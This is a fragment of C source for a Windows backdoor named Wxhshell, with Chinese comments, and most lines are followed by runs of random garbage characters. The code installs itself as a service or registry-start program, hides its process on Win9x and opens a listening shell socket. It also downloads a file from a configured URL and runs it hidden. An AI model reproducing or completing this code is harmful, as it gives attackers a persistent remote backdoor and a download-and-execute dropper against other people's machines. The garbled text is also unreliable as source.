DWORD BasePriority; .IG(Y!cB
ULONG UniqueProcessId; "4ovMan
ULONG InheritedFromUniqueProcessId; e<IT2tv>u
} PROCESS_BASIC_INFORMATION; jt;,7Ek
#PFf`7b,z
PROCNTQSIP NtQueryInformationProcess; U`:$1*(`
\6sp"KqP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eR;cl$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C$?dkmIt
/gPn2e;
HANDLE hProcess; 3
D+dM0wM
PROCESS_BASIC_INFORMATION pbi; >S!QvyM(V
^Ji5)c
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ffSecoX
if(NULL == hInst ) return 0; Rr:,'cXGi
3UBG?%!$f
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !qy/'v4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ya|7hz {
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'KXvn0
tTP"*Bb
if (!NtQueryInformationProcess) return 0; %pV/(/Q
n*' |7 #;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f4:gD*YT
if(!hProcess) return 0; /tV)8pEj
PCD1I98
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pirc49c
8wwD\1pLS
CloseHandle(hProcess); mNs&*h}
^
b}_[B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qL3*H\9N
if(hProcess==NULL) return 0; qf+I2kyS
` 8.d
HMODULE hMod; 3;#v$F8R
char procName[255]; A-4\;[P\
unsigned long cbNeeded; q *-q5FE
K~C*4H:9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); elw<(<u`
Z9TG/C,eo
CloseHandle(hProcess); Uln[UK
HP&+ 8
if(strstr(procName,"services")) return 1; // 以服务启动 *y
F 9_\n
M2mte#h
return 0; // 注册表启动 s8eFEi
} W}nD#9tL
aQw?r
// 主模块 mZ*!$P:vy"
int StartWxhshell(LPSTR lpCmdLine) A=E1S{C
{ sy#CR4X
SOCKET wsl; }<A\>
BOOL val=TRUE; 91e&-acA
int port=0; EubF`w$KWX
struct sockaddr_in door; .J'}qkz~
X >C*(/a
if(wscfg.ws_autoins) Install(); fY$M**/,
{_l@ws
port=atoi(lpCmdLine); Bo_Ivhe[m
_KC()OIeC
if(port<=0) port=wscfg.ws_port; B&`#`]
d z&8$(f,
WSADATA data; i5q
VQo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wjQu3 ,Cj
M-"%4^8_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jBarY g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z6A*9m
door.sin_family = AF_INET; ]xfu@''
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tf<1Z{9
door.sin_port = htons(port); F3i+t+Jt
Hq3"OMG q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X^eTf-*T
closesocket(wsl); | Fm(
return 1; uI!rJc>TX
} PW~+=,
V8 }yK$4b
if(listen(wsl,2) == INVALID_SOCKET) { [n44;
closesocket(wsl); xP
"7B9B
return 1; >@rsh-Z
} c54oQ1Q&"
Wxhshell(wsl); ;1A4p`)
WSACleanup(); yk,o*g
ehV`@ss
return 0; V31<~&O~%
y08.R.
l
} |Xlpgdiu
4(f[Z9 iZ]
// 以NT服务方式启动 db'Jl^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zchs/C 9{
{ M6[&od
DWORD status = 0; &2d^=fih
DWORD specificError = 0xfffffff; K}L-$B*i
bb`GV
serviceStatus.dwServiceType = SERVICE_WIN32; {.K>9#^m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4U*J{''L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Om,+59ua*
serviceStatus.dwWin32ExitCode = 0; !MOVv\@O
serviceStatus.dwServiceSpecificExitCode = 0; hjtkq.@
serviceStatus.dwCheckPoint = 0; #qtAFIm'
serviceStatus.dwWaitHint = 0; 67wY_\m 9I
,|<2wn#q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4RGEg;]S
if (hServiceStatusHandle==0) return; @bSxT,2
{m.l{<H
status = GetLastError(); o['HiX
if (status!=NO_ERROR) aqSHo2]DX9
{ ^OnU;8IC
serviceStatus.dwCurrentState = SERVICE_STOPPED; \!Cix}}1
serviceStatus.dwCheckPoint = 0; Gt3V}"B3\
serviceStatus.dwWaitHint = 0; DpI)qg#>V
serviceStatus.dwWin32ExitCode = status; n*D-01vYP
serviceStatus.dwServiceSpecificExitCode = specificError; AK]{^Hvz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )
wtVFG
return; >7[.
{Y
} ;Kob]b
n,q+EZd
serviceStatus.dwCurrentState = SERVICE_RUNNING; }1VxMx@
serviceStatus.dwCheckPoint = 0; ]d=SkOq
serviceStatus.dwWaitHint = 0; L<'3O),}
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dbQUW#<Q
} BT.;l I
\09eH[
// 处理NT服务事件,比如:启动、停止 jCa%(2~iQ7
VOID WINAPI NTServiceHandler(DWORD fdwControl) rXPq'k'h#-
{ w7@fiH{
switch(fdwControl) 3(0k!o0"
{ ze@NqCF
case SERVICE_CONTROL_STOP: (A|Gb2 X
serviceStatus.dwWin32ExitCode = 0; @KfFtR-;
serviceStatus.dwCurrentState = SERVICE_STOPPED; =ZR9zL=h
serviceStatus.dwCheckPoint = 0; a|Io)Qhr
serviceStatus.dwWaitHint = 0; eKPxSN Z
{ z-$ bce9*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XkLl (uyh
} +P:xB0Tm
D
return; ?-1r$z
case SERVICE_CONTROL_PAUSE: KHV5V3q4
serviceStatus.dwCurrentState = SERVICE_PAUSED; e33 j&:O
break; >qk[/\^O
case SERVICE_CONTROL_CONTINUE: #Mkwd5S|L
serviceStatus.dwCurrentState = SERVICE_RUNNING; [%7y !XD
break; ZG:#r\a
case SERVICE_CONTROL_INTERROGATE: PY-
1 oP
break; (L}
}; rH
Et]Xa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FKRO0%M4}Z
} #}*w &y
yr?*{;
// 标准应用程序主函数 a+sHW<QeS
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
AV{3f`
{ 7N9~nEU
#-*7<wN
// 获取操作系统版本 sLrSi
OsIsNt=GetOsVer(); Z
M_
6A1
GetModuleFileName(NULL,ExeFile,MAX_PATH); *5?a%p
RZ 4xR
// 从命令行安装 {G$I|<MD2T
if(strpbrk(lpCmdLine,"iI")) Install(); zO8`xrN!
K(@QKRZ7[
// 下载执行文件 g S xK9P
if(wscfg.ws_downexe) {
booth}M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 41Bp^R}^/
WinExec(wscfg.ws_filenam,SW_HIDE); s3@sX_2
} E^B*:w3
K;moV| j
if(!OsIsNt) { [-C-+jC
// 如果时win9x,隐藏进程并且设置为注册表启动 7ADh
HideProc(); e&%m[:W:<
StartWxhshell(lpCmdLine); |TM&:4D]^
} |<tZ|
else XN65bq
if(StartFromService()) b Lag&c)
// 以服务方式启动 9ZFvN*Zf'
StartServiceCtrlDispatcher(DispatchTable); 7fRL'I#[@
else f0H
5 )DJf
// 普通方式启动 ;sJUTp5\h
StartWxhshell(lpCmdLine); 'NCxVbyYD
yZkHBG4
return 0; e[_W( v
}